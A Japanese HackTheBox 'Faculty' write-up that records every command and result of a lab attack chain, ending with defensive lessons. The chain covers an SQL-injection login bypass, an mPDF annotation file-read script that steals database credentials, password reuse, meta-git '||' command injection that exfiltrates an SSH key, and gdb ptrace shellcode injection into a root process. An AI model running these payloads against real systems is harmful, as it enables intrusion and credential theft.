HackTheBox: Faculty — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、faculty.htbリダイレクト確認
→
22/80、faculty.htbリダイレクト確認
SQLi認証バイパス
‘ or 1=1;– –
→
‘ or 1=1;– –
mPDF <annotation> LFI
db_connect.php読取
→
db_connect.php読取
パスワード使い回し
gbyolo SSH
→
gbyolo SSH
meta-git コマンド注入
HackerOne #728040
→
HackerOne #728040
developer シェル取得
user.txt ✓
→
user.txt ✓
gdb cap_sys_ptrace
debugグループ
→
debugグループ
シェルコード注入
root所有プロセスへ$rip書換
→
root所有プロセスへ$rip書換
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 3000 -T4 --max-retries 2 10.129.227.208
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 29.29 seconds
HTTPリダイレクトチェーンでマシンを確定
BASH
echo "10.129.227.208 faculty.htb" | sudo tee -a /etc/hosts curl -s -I http://10.129.227.208/ curl -s -I http://faculty.htb/
RESULT
HTTP/1.1 302 Moved Temporarily Server: nginx/1.18.0 (Ubuntu) Location: http://faculty.htb HTTP/1.1 302 Found Server: nginx/1.18.0 (Ubuntu) Set-Cookie: PHPSESSID=... location: login.php
✅
ターゲット確定: IPアクセス→
faculty.htbへのリダイレクト→
さらにlogin.phpへのリダイレクトという2段の遷移が、
既知のFacultyマシンのnginx設定と完全に一致した。
ログインフォームの調査
BASH
curl -s http://faculty.htb/login.php | grep -oE 'name="[a-zA-Z_]*"' curl -s http://faculty.htb/admin/login.php | grep -oE 'name="[a-zA-Z_]*"'
RESULT
login.php : name="id_no" (教員ログイン) admin/login.php : name="username", name="password" (管理者ログイン)
ℹ️
両方のログインフォームは
/admin/ajax.php にPOSTされる。教員ログインは
action=login_faculty、管理者ログインは action=login
で振り分けられている。PHP製の学校スケジューリング管理アプリ (SourceCodester由来)。
PHASE 2
SQLi 認証バイパス — Admin管理画面への侵入
クラシックな認証バイパスペイロード
BASH
curl -s -c admin_cookies.txt -X POST "http://faculty.htb/admin/ajax.php?action=login" \ --data-urlencode "username=' or 1=1;-- -" \ --data-urlencode "password=x"
RESULT
1
BASH (セッション確認)
curl -s -b admin_cookies.txt http://faculty.htb/admin/index.php | grep -oE "Welcome[^<]*"
RESULT
Welcome back Administrator!
✅
認証バイパス成功。
username パラメータがSQLクエリへ
サニタイズなしで連結されており、' or 1=1;-- - でWHERE句を常に真にして
最初にヒットしたレコード(管理者)としてログインできる。同じペイロードは
/login.php(id_noパラメータ経由)でも通用するが、
管理者側の方がPDF生成機能等、後続の攻撃に必要な機能へアクセスできる。
PHASE 3
mPDF <annotation> タグによる任意ファイル読取 (LFI)
脆弱性の背景
NOTE
各種一覧ページの「PDFダウンロード」ボタンは /admin/download.php に
pdf=<HTML断片をURL-encode→URL-encode→base64した値> をPOSTし、mPDFライブラリで
HTMLをPDF化する。mPDF 6.0 (本マシンで使用中のバージョン) には、7.0で追加された
allowAnnotationFiles による制限が無いため、以下のタグでサーバー上の任意ファイルを
PDFの「添付ファイル」として埋め込ませることができる:
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph"
title="Attached File: x" pos-x="195" />
LFI読み取りスクリプト
PYTHON (mpdf_read.py)
import base64, urllib.parse, subprocess
def read_file(remote_path, cookiejar="admin_cookies.txt"):
html = (f'The PDF is dark and full of attachments \n'
f'<annotation file="{remote_path}" content="{remote_path}" '
f'icon="Graph" title="Attached File: x" pos-x="195" />')
enc = urllib.parse.quote(urllib.parse.quote(html, safe=''), safe='')
b64 = base64.b64encode(enc.encode()).decode()
r = subprocess.run(["curl","-s","-b",cookiejar,"-X","POST",
"http://faculty.htb/admin/download.php",
"--data-urlencode", f"pdf={b64}"], capture_output=True, text=True)
pdfname = r.stdout.strip()
return subprocess.run(["curl","-s",
f"http://faculty.htb/mpdf/tmp/{pdfname}"], capture_output=True).stdout
BASH (実行 & 添付ファイル抽出)
python3 mpdf_read.py "/etc/passwd" > passwd.pdf pdfdetach -list passwd.pdf pdfdetach -save 1 -o extracted_passwd passwd.pdf grep -E "gbyolo|developer|^root:" extracted_passwd
RESULT
1: passwd root:x:0:0:root:/root:/bin/bash gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash developer:x:1001:1002:,,,:/home/developer:/bin/bash
✅
LFI成功。 シェル持ちの非標準ユーザー
gbyolo と
developer を確認。
db_connect.php からDB資格情報を窃取
BASH
python3 mpdf_read.py "db_connect.php" > dbconnect.pdf pdfdetach -save 1 -o extracted_db dbconnect.pdf cat extracted_db
RESULT
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')
or die("Could not connect to mysql".mysqli_error($con));
🚨
資格情報窃取成功: MySQL接続用の平文パスワード
Co.met06aci.dly53ro.per を取得。/admin/ajax.phpを
先に読んで admin_class.php → db_connect.php という
includeの連鎖を特定した上でこのファイルに辿り着いた。
PHASE 4
パスワード使い回し & meta-git コマンドインジェクション → user.txt
SSH (パスワード使い回し)
BASH
sshpass -p 'Co.met06aci.dly53ro.per' ssh gbyolo@10.129.227.208 "id"
RESULT
uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo)
✅
SSH成功。 Webアプリ用に窃取したDBパスワードが
gbyolo のシステムログインパスワードとしてそのまま使い回されていた。
sudo権限の確認
BASH
echo 'Co.met06aci.dly53ro.per' | sudo -S -l
RESULT
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
meta-git clone コマンドインジェクション (HackerOne #728040)
NOTE
meta-git はNode.js製のgitラッパーCLI。cloneサブコマンドに渡した「リポジトリ名」を サニタイズせずシェルコマンド構築に使うため、`||` でコマンドを連結できる (HackerOne公開レポート #728040 に詳細PoCあり)。
BASH
cd /dev/shm echo 'Co.met06aci.dly53ro.per' | sudo -S -u developer meta-git clone \ '0xdf||cat /home/developer/user.txt > /dev/shm/.x' cat /dev/shm/.x
RESULT
meta git cloning into '0xdf||cat /home/developer/user.txt > /dev/shm/.x' at .x
.x:
fatal: destination path '0xdf' already exists and is not an empty directory.
(node:xxxx) UnhandledPromiseRejectionWarning: ...
af3d24980d455bf10e478f7848f98cbd
user.txt — developer
af3d24980d455bf10e478f7848f98cbd
ℹ️
meta-git自体はエラーで終了するが、
||以降の cat ... > .x
は developer 権限で実行され、生成された .x は他ユーザーからも
読み取り可能なパーミッション(-rw-rw-r--)で作成される。
developer SSH秘密鍵の窃取と永続アクセス
BASH
echo 'Co.met06aci.dly53ro.per' | sudo -S -u developer meta-git clone \ '0xdf||cat /home/developer/.ssh/id_rsa > /dev/shm/.k; chmod 644 /dev/shm/.k' scp gbyolo@10.129.227.208:/dev/shm/.k developer_id_rsa chmod 600 developer_id_rsa ssh -i developer_id_rsa developer@10.129.227.208 "id; groups"
RESULT
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
✅
developer として永続SSHアクセス確立。
debug グループへの
所属が次の権限昇格の鍵になる。
PHASE 5
gdb + cap_sys_ptrace シェルコード注入 → root.txt
debug グループの所有物と特殊capability確認
BASH
find / -group debug 2>/dev/null ls -l /usr/bin/gdb getcap /usr/bin/gdb
RESULT
/usr/bin/gdb
-rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace+ep
🚨
重大発見:
cap_sys_ptrace capabilityにより、
この gdb はroot権限を含む任意ユーザーの任意プロセスに
ptrace(2)でアタッチしてメモリを読み書きできる。root所有プロセスへの
アタッチが可能であれば、そのプロセスのコンテキストで任意コード実行に等しい。
シェルコード生成 & gdbコマンド列への変換
BASH
# /bin/bash を直接SUID化せず、/tmp へのコピーを作ってSUIDを立てる (非破壊的) msfvenom -p linux/x64/exec \ CMD='cp /bin/bash /tmp/.faculty_rootbash; chmod 4755 /tmp/.faculty_rootbash' \ -f raw -o shellcode.bin
PYTHON (シェルコード → gdbコマンド列)
buf = open("shellcode.bin","rb").read() + b"\xcc" * 8
buf = b"\x90" * (16 - (len(buf) % 8)) + buf # NOPパディングで8バイト境界に揃える
for i in range(0, len(buf), 8):
chunk = buf[i:i+8][::-1] # リトルエンディアンで逆順に
hexstr = ''.join(f'{b:02x}' for b in chunk)
print(f"set {{long}}($rip+{i}) = 0x{hexstr}")
print("c") # continue で実行再開
RESULT (抜粋)
set {long}($rip+0) = 0x9090909090909090
set {long}($rip+8) = 0x2f6e69622fb84890
...
set {long}($rip+64) = 0xcccccccccccccccc
c
root所有プロセスへのアタッチ & 注入
BASH
pgrep -f 'php-fpm: master' # → 908 (root所有の安定したデーモン。postfix master等でも可) scp gdb_cmds.txt developer@10.129.227.208:/tmp/.gdbcmds ssh developer@10.129.227.208 "timeout 10 gdb -q -p 908 -x /tmp/.gdbcmds -batch"
RESULT
0x00007f5a83d1b42a in _start () from /lib64/ld-linux-x86-64.so.2
process 908 is executing new program: /usr/bin/dash
warning: Probes-based dynamic linker interface failed.
Reverting to original interface.
[Detaching after fork from child process 3378]
[Inferior 1 (process 908) exited normally]
✅
シェルコード注入成功。 アタッチ直後、プロセスはローダの
_start($rip)で停止している。この番地から始まる
メモリ領域にシェルコードを直接書き込み continue すると、
root権限の php-fpm master プロセスがそのシェルコードを実行し、
/tmp/.faculty_rootbash にSUID付きのbashコピーを作成した。
root.txt取得
BASH
ls -la /tmp/.faculty_rootbash /tmp/.faculty_rootbash -p -c 'id; cat /root/root.txt'
RESULT
-rwsr-sr-x 1 root root 1183448 ... /tmp/.faculty_rootbash uid=1001(developer) gid=1002(developer) euid=0(root) egid=0(root) groups=0(root),... 880b06d3d04fb9d0e56cda11dc3e9b16
root.txt — root
880b06d3d04fb9d0e56cda11dc3e9b16
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — developer
af3d24980d455bf10e478f7848f98cbd
root.txt — root
880b06d3d04fb9d0e56cda11dc3e9b16
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SQLi認証バイパス | /admin/login.php, /login.php | 認証なしで管理者アクセス | High | ' or 1=1;-- - をusername/id_noに送りWHERE句を常に真にする |
| mPDF 6.0 <annotation> LFI | /admin/download.php (mPDF ライブラリ) | 任意ファイル読取 | High | allowAnnotationFiles制限の無い旧バージョンで、
PDF添付ファイルタグにサーバー内パスを指定して読取 |
| パスワード使い回し | MySQL接続資格情報 = gbyolo SSHパスワード | 初期侵入(SSH) | Medium | Webアプリの設定ファイルから窃取した平文パスワードでSSH認証 |
| meta-git コマンドインジェクション | /usr/local/bin/meta-git clone (HackerOne #728040) | developer 権限でのコマンド実行 | High | cloneの引数に ||<command> を含めシェルへ注入 |
| cap_sys_ptrace 権限昇格 | /usr/bin/gdb (debugグループ、capability付与) | リモートコード実行 (root) | Critical | root所有プロセスにgdbでアタッチし、$ripへシェルコードを直接書込んでcontinue |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + リダイレクトチェーン確認 | 22/80、faculty.htb確定 |
| 2 | 認証バイパス | SQLi (' or 1=1;-- -) | Admin管理画面アクセス |
| 3 | LFI | mPDF <annotation>タグ | db_connect.php資格情報 sched:Co.met06aci.dly53ro.per |
| 4 | 横展開 | パスワード使い回し + meta-git注入 | user.txt 取得 (developer) |
| 5 | 権限昇格 | gdb + cap_sys_ptrace シェルコード注入 | root.txt 取得 (root) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ログインフォームのSQLクエリがユーザー入力をそのまま連結している | すべての入力をプレースホルダ付きパラメータ化クエリで処理する。 |
| 古いバージョンのmPDF (6.0) を使い続けている | ライブラリを最新版へアップデートし、allowAnnotationFilesを
明示的に無効化する。ユーザー制御のHTMLをそのままPDF化しない。 |
| アプリケーションのDB接続パスワードをOSアカウントのパスワードに使い回している | 用途ごとに異なる認証情報を発行する。設定ファイルの資格情報は シークレット管理サービスで管理する。 |
| sudoで許可したNode.js CLIツール(meta-git)が引数をサニタイズせずシェル起動している | サードパーティCLIをsudo経由で許可する前に既知の脆弱性を確認する。 可能な限りラッパースクリプトで引数を厳格に検証してから渡す。 |
| debugグループの gdb に cap_sys_ptrace が付与され、事実上のroot昇格経路になっている | デバッグツールに特権capabilityを付与する場合は対象を限定する (例: seccomp/AppArmorでアタッチ可能なプロセスを制限)。 不要なユーザーをdebugグループに所属させない。 |

